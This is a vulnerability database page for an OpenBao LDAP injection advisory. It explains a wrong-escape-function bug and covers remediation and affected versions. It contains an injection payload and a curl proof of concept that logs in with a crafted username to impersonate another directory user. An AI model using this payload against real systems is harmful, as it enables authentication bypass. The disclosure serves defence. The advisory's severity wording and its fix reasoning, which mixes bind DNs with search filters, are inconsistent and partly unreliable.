Skip to content

GHSA-6mwx-4547-5vc9 BIT-openbao-2026-55770 CVE-2026-55770 GO-2026-5182

OpenBao: LDAPi ldaputil (wrong escape func)

Medium Go
Severity
6.8 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.53%
Chance of exploitation in the next 30 days. Higher than 44.55% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Fix
0.0.0-20260617104213-10b7825c714c
Upgrade github.com/openbao/openbao to this version or later

Description

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
                              ^^ injection point

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:

  • sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

  • LDAP authentication backend must be configured
  • Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
  • Attacker controls the username field at login time

2. Proof of Concept

# Login with LDAP injection payload as username
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice)(sAMAccountName=*",
    "password": "anything"
  }' \
  https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
#                   injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

Impact Detail
Confidentiality Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity
Integrity Ability to modify secrets, write policies, or configure backends as the impersonated user
Availability Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.

4. Remediation

Primary Fix: Use ldap.EscapeFilter

Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:

import "github.com/go-ldap/ldap/v3"

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)

EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.

Audit: All Call Sites

Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:

grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/

Defense-in-Depth

  • Apply the principle of least privilege to LDAP service accounts used by OpenBao
  • Use UserFilter with explicit attribute constraints to limit the search scope

Affected versions

Go

PackageVulnerableFixed in
github.com/openbao/openbao
>= 0.1.0, <= 2.5.4
No fix yet
github.com/openbao/openbao
< 0.0.0-20260617104213-10b7825c714c
0.0.0-20260617104213-10b7825c714c
github.com/openbao/openbao
< 0.0.0-20260617104213-10b7825c714c
>= 0.1.0
0.0.0-20260617104213-10b7825c714c

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/openbao/openbao Go → 0.0.0-20260617104213-10b7825c714c

go
go get github.com/openbao/openbao@v0.0.0-20260617104213-10b7825c714c && go mod tidy

Severity breakdown

CVSS 3.1 6.8

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3c-3jw3-4vcr
OpenBao Skips Stricter Deny Policy for LIST operations
Medium Also affects github.com/openbao/openbao
GHSA-34fc-gh42-pj53
OpenBao's Recovery Mode Vulnerable To Token Leakage via Timing Attack
Critical Also affects github.com/openbao/openbao
GHSA-444v-8vxr-p36h
OpenBao Agent Writes Secrets to Stdout
Low Also affects github.com/openbao/openbao
GHSA-59w7-v8rr-pr4p
OpenBao's Templated Policies Allow Privilege Escalation via Wildcard Characters
High Also affects github.com/openbao/openbao
GHSA-8w8f-r2xv-4q4j
OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
Medium Also affects github.com/openbao/openbao
GHSA-mwr2-wmgp-crj6
OpenBao's System Backend allows Unauthorized Management of the containing Namespace
Low Also affects github.com/openbao/openbao
GHSA-c36x-h252-g9x2
OpenBao: Cross-namespace lease revocation/renewal via canonical sys/leases/{revoke,renew} — incomplete fix of CVE-2026-45808
Low Also affects github.com/openbao/openbao
GHSA-7j6w-vvw2-5f9c
OpenBao's Kerberos Auth Method Accumulates Unaccessible Tokens
Medium Also affects github.com/openbao/openbao
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor